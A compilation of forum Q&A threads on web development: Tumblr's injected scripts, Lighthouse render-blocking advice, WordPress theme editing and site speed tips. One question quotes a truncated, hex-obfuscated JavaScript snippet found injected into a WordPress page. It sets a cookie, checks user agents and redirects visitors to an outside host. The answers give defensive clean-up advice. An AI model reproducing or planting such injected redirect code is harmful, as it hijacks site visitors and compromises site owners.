Tumblr is just flooding the blogs with loads of JS and CSS files. I don't know if these files are required or just useful. Here's a list of them
The JS:
- tumblelog.js & pre_tumblelog.js -> looks like this is Tumblr JS API, but do we need it?
- cedexis.radar.js -> no idea what this does.
- rapid-3.18.1.js
The CSS:
fonts/gibson/stylesheet.css
And some images are also added to the page.
I searched a bit, but there is no way of stopping tumblr from doing this.
Is there any way we can stop Tumblr from doing so, if we don't need these files?
If we need the scripts, can you please elaborate why we need these?
No, sadly you can't do anything to stop Tumblr adding scripts / style sheets as they are added serverside.
For reference, fonts/gibson/stylesheet.css is added in relation to the theme fonts option: https://www.tumblr.com/docs/en/custom_themes#theme-options
You might be able to break some of the scripts (for example by adding window.addEventListener = 1), but it's probably not be worth the hassle.
You can remove any extra CSS or element via javascript but any downloads initiated by them can't be prevented.
Related
My first attempt at a PWA is here:
https://flowster.app/calculators/freight-class-calculator/
And I'm trying to get 100% in Lighthouse for all the categories :)
I read the "Learn More" page but couldn't understand how to deliver Bootstrap CSS inline, for example.
Any suggestions?
What this means
“Eliminate render-blocking resources” means that all resources (CSS/JS) which are required for the first view (top fold) should be part of the html itself (inline or script or style block); all the other CSS/JS (which is used somewhere below) can go to their other separate files;
This way, the browser will be able to paint/render the first view quickly and then go on to load the other CSS/JS files;
How to go about it
I went through this myself and realized that within the bootstrap.css i was hardly using 15% of the classes... you may also get the hint of unused css classes within lighthouse also. So this is where you can selectively include only relevant classes in your HTML;
JS will be trickier. Going on, to make this first view functional, you can insert vanilla Javascript (inside the HTML) for the navigation, carousel etc. which is better/faster than bootstrap.js;
hope it helps... Good luck
You should only load the CSS and JS in the head that are actually required to load the current 'view' (I deliberately did NOT say 'page'). This does NOT mean that you should inline them. You can perfectly load them from a CSS or JS file. You should load the rest of the CSS and JS in the footer (CSS or JS files are fine here too).
In the case of a single page application (SPA) that is also a progressive web app (PWA), this is only your opening/splash screen... easy enough. It should be very easy to get a 100% score on that. But, when you are talking about a website in which it is unclear what the 'first page' is... it becomes an almost impossible task. A clever CSS in JS or inline solution could do the trick, but would be quite difficult to build.
There is however a much easier solution for websites. I wrote how to get a 100% Google Lighthouse score, which focusses on websites only. TLDR: just omit the frameworks. It might not be a solution for every case, but for those situations where it is possible, it is definitely the way to go.
On a WP multisite some javascript code suddenly appeared in one of the pages. We don't think the client did this theirselves. When I google the code I find something very similar in a pastebin: https://pastebin.com/rUn6KnKe
it looks a bit like
var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego
Also I can find some other sites who have some code like this:
http://pcsarmacardio.com/
http://ddreadymixconcrete.com/photos/
We can easily delete it since it is in the editor, but does anyone know why this happens and how to prevent it ?
This is the indication that your wordpress site has been tried for hacking.
Remove that virus and take the site lock and make your wordpress updated and do the clean coding for same.
Remove unwanted code. secure 404.php of theme. Have the proper redirection..
use wp_nonce_field if you are taking the data from users.
Today I found that my Wordpress website has encountered a problem. There are two unexpected letters at the top of the page which can be found in the screen shot below. I can't find where it is from the raw files of Wordpress. I don't know what happened. Could somebody help me please?
Heya :)You might be using some website screenshot plugin. Deactivate that plugin and then check the output. :)
i've had the same problem a while ago only instead of an n or two n's in your case i had a v just at the same place as yours is. What helped for me where the following steps.
Check all files, header.php, template files, etc.
Deactivate and activate your plug-ins. Maybe even try the Wordpress Re-install function from the updates page. Don't worry none of your contents like pages, posts, etc will be lost.
Check your widgets, sidebars and other content blocks from the back-end but also the corresponding template files.
If you have a decent editor like in my case PHPstorm make use of the show history function. It makes searching a lot easier.
I hope just like i had your problem will be solved after taking these steps.
Let's say I'm building a website and using an already made Wordpress theme. Say it's a pretty complex theme and there's a lot of folders and files. If I wanted to change something specific, like text, or an image, or something that happens in Javascript/jQuery, and the change that I want is not an option in the themes control panel, what do I do? I know I have to go into the files but how do I know which file to go to? Lately, I've just download the theme to my desktop and use the windows search companion and type in the field that says "a word or phrase in the file." Sometimes it comes up and sometimes it doesn't. For CSS changes I usually use Firebug and click on the element, but many times I want to change the HTML/PHP/Javascript. I feel like I'm doing it the wrong way and there's an easier way that I'm missing.
As you mentioned WordPress theme so I will specifically try to answer this question for editing WordPress theme.
When it comes to WordPress, everything is very structured and well organized. If theme written following standard practices then each component has its specific file. If you are familiar with WordPress theme structure and want to change php code or say a static part then all you need to do is locate the component file say sidebar.php, home.php, single-{type}.php, header.php and many similar files. http://codex.wordpress.org/Template_Hierarchy
Now if you want to edit something that is shown in right/left side of page as sidebar then chances of finding it in sidebar.php are maximum. Similarly to change something on home page try looking for home.php, for posts it could be single-post.php.
Many a times what you are looking to change might need a tweak in widgets. In this case, process remains same as theme you just need to look in different folder.
Javascript: For editing javascript, beautify the code if it came minified. When you have code ready much of js debugging can be done using firebug/Developer Console in chrome. Best way is to put breakpoints at relevant position and then inspect code behavior. You will be able to locate code block that you need to tweak to achieve what you want.
CSS: Create a child theme and then use it override default theme properties.
You can probably use grep in PowerShell, Cygwin, etc.
grep -lir "a word or phrase in the file." *
edit: Emulating Grep in Powershell
well I'm new to JavaScript so I know that my work will look nasty but I have been looking for a solution for a week now, I tried to put some JavaScript in the Head tag and so but it didn't get any faster so I said if there is one I'll get it here :D here are the link to the project please have a look at it and if there is something to do about it I'll appreciate it thank you all!
http://www.ayman.benhamida.com/metalexfinal/
First of all, your site looks pretty nice! ;) However, I saw the following problems:
you have two javascript versions included. Kick one out!
Very important: You have several .js which are uncompressed. Use an online-compressor to minify them: this one or this one or just pick one, you like.
You have a lot of jquery-plugins. You can merge them together into one file.
Fix your 404-errors (css/bullets.png, css/loading.gif)
Place your scripts as far to the bottom of your page as possible. (best position would be before </body>). This speeds up the initial page-construction.
minify your css.
compress your images.
Use minfied Javascript.
Use minfied CSS.
Combine Javascript files.
Combine CSS files.
Compress your images more.
You use 2 versions of jQuery ( http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js and http://code.jquery.com/jquery-latest.js ).
Split your page up into seprate pages, so you don't need to load things like http://www.ayman.benhamida.com/metalexfinal/images/map.png (which is 181.1kb in size) on the home page. Only load resources when they are needed, i.e. when someone wants to see the map!
http://www.ayman.benhamida.com/metalexfinal/images/para_green.png is 235.2kb in size. Compress this more!!